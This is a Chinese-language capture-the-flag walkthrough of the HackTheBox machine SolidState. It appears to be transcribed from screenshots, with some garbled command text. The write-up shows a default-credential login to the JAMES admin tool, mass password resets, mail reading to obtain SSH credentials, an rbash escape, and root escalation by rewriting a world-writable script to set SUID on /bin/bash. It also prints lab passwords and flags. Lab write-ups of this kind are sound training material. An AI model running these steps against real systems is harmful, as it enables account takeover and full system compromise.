SolidState,telnet(smtp \ pop3 \ rsip) \ sshpass(上 傳bash) \ py檔(提權)

```
# nmap -sCV -A -p22,25,80,110,4555 10.10.10.51
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-30 22:39 PDT
Nmap scan report for 10.10.10.51
Host is up (0.23s latency).
PORT
        STATE SERVICE VERSION
22/tcp open ssh
                      OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
ssh-hostkey:
    2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
                      JAMES smtpd 2.3.2
25/tcp
        open smtp
smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.4 [10.10.14.4])
                      Apache httpd 2.4.25 ((Debian))
        open http
http-server-header: Apache/2.4.25 (Debian)
http-title: Home - Solid State Security
110/tcp open pop3 JAMES pop3d 2.3.2
4555/tcp open rsip?
fingerprint-strings:
   GenericLines:
      JAMES Remote Administration Tool 2.3.2
     Please enter your login and password
     Login id:
     Password:
     Login failed for
     Login id:
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service:
SF-Port4555-TCP:V=7.94SVN%I=7%D=6/30%Time=66824130%P=aarch64-unknown-linux
SF:-qnu%r(GenericLines,7C,"JAMES\x20Remote\x20Administration\x20Tool\x202\
SF:.3\.2\nPlease\x20enter\x20your\x20login\x20and\x20password\nLogin\x20id
SF::\nPassword:\nLogin\x20failed\x20for\x20\nLogin\x20id:\n");
Warning: OSScan results may be unreliable because we could not find at least
1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (96%), Linux 3.13 (96%), Linux 3.16 (96%),
Linux 3.2 - 4.9 (96%), Linux 3.8 - 3.11 (96%), Linux 4.8 (96%), Linux 4.4
```

```
(95%), Linux 3.18 (95%), Linux 4.2 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 232.41 ms 10.10.14.1
2 232.58 ms 10.10.10.51

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 249.52 seconds
```

使用telnet

25Port SMTP

參考: https://book.hacktricks.xyz/v/cn/network-services-pentesting/pentesting-smtp

枚舉失敗,未搜到資訊

110Port pop3

參考:<u>https://book.hacktricks.xyz/v/cn/network-services-pentesting/pentesting-pop#pop3-bao-li-po-jie</u> 無帳密,

測試root、admin失敗

4555 rsip

進行root/root登入成功

```
telnet 10.10.10.51 4555
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
                                                                 I
Password:
Welcome root. HELP for a list of commands
HELP
Currently implemented commands:
                                          display this help
help
                                          display existing accounts
listusers
countusers
                                          display the number of existing accounts
adduser [username] [password]
                                          add a new user
verifyh[username]
                                          verify if specified user exist
deluser [username]
                                          delete existing user
setpassword [username] [password]
setalias [user] [alias]
                                          sets a user's password
                                          locally forwards all email for 'user' to 'alias'
showalias [username]
                                          shows a user's current email alias
unsetalias [user]
                                          unsets an alias for 'user
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]
                                          shows a user's current email forwarding
unsetforwarding [username]
                                          removes a forward
user [repositoryname]
                                          change to another user repository
shutdown
                                          kills the current JVM (convenient when James is run as a daemon)
quit
                                          close connection
```

listusers Existing accounts 5 user: james user: thomas user: john user: mindy user: mailadmin

可以更改密碼,所全部user的密碼改成tso

```
Setpassword
Usage: setpassword [username] [password]
setpassword james tso
Password for james reset
setpassword thomas tso
Password for thomas reset
setpassword john tso
Password for john reset
setpassword mindy tso
Password for mindy reset
setpassword mailadmin tso
Password for mailadmin reset
setpassword mailadmin reset
```

回到110 port進行登入

```
USER xx 帳號
PASS xx 密碼
list 顯示資訊
retr 1 讀取第幾個資訊
```

user john 獲取mail

沒啥重要資訊

user john 獲取mail

```
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**Exture_span**: cmalladminglocalhost;

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```

找到一組為ssh帳密

```
username: mindy
pass: P@55W0rd1!2@
```

```
່—# ssh mindva10.10.10.51
mindy@10.10.10.51's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jul 1 02:25:01 2024 from 10.10.14.4
mindy@solidstate:~$ id
-rbash: id: command not found
mindy@solidstate:~$ python3 -c "import pty;pty.spawn('/bin/bash')"
-rbash: python3: command not found
mindy@solidstate:~$
mindy@solidstate:~$ export TERM=xterm
mindy@solidstate:~$ python3 -c "import pty;pty.spawn('/bin/bash')"
-rbash: python3: command not found
mindy@solidstate:~$ ls
                                                             bin user.txt
mindy@solidstate:~$ id
-rbash: id: command not found
mindy@solidstate:~$ cat user.txt
2c5ba9bdcb21cb2e2beaf50428ab7807
mindy@solidstate:~$
```

想上傳linpeas.sh但沒法使用wget、curl

進行sshpass上傳(有異常,靶機也無法執行bash)

```
(root® kali)-[/home/kali/Desktop/tool]
# sshpass -p 'P@55W@rd1!2@' ssh mindy@10.10.10.51 'linpeas.sh'
rbash: linpeas.sh: command not found

(root® kali)-[/home/kali/Desktop/tool]
# sshpass -p 'P@55W@rd1!2@' ssh mindy@10.10.10.51 linpeas.sh
rbash: linpeas.sh: command not found

(root® kali)-[/home/kali/Desktop/tool]
```

想到還可以bash上傳

```
# sshpass -p 'P@55W0rd1!2@' ssh mindy@10.10.10.51 -t bash ${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ id uid=1001(mindy) gid=1001(mindy) groups=1001(mindy) ${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ who ami mindy
```

後續上傳linpeas.sh成功

Sudo version sudo Not Found Vulnerable to CVE-2021-4034

在opt找到一個py有趣的檔案,可進行編輯

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -al
total 16
drwxr-xr-x 3 root root 4096 Aug 22
                                    2017 .
drwxr-xr-x 22 root root 4096 May 27
                                    2022 ..
drwxr-xr-x 11 root root 4096 Apr 26 2021 james-2.3.2
-rwxrwxrwx 1 root root 105 Aug 22 2017 tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
    os.system('rm -r /tmp/* ')
except:
    sys.exit()
```

將bash 新增+s

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
    os.system('chmod +s /bin/bash')
except:
    sys.exit()
```

獲取root+root flag

```
bash-4.4# id
uid=1001(mindy) gid=1001(mindy) euid=0(root) egid=0(root) groups=0(root),1001(mindy)
bash-4.4# cd /root
bash-4.4# ls
root.txt
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt
e852430b6a5b9bf1ea86edcde9218bc4
bash-4.4#
```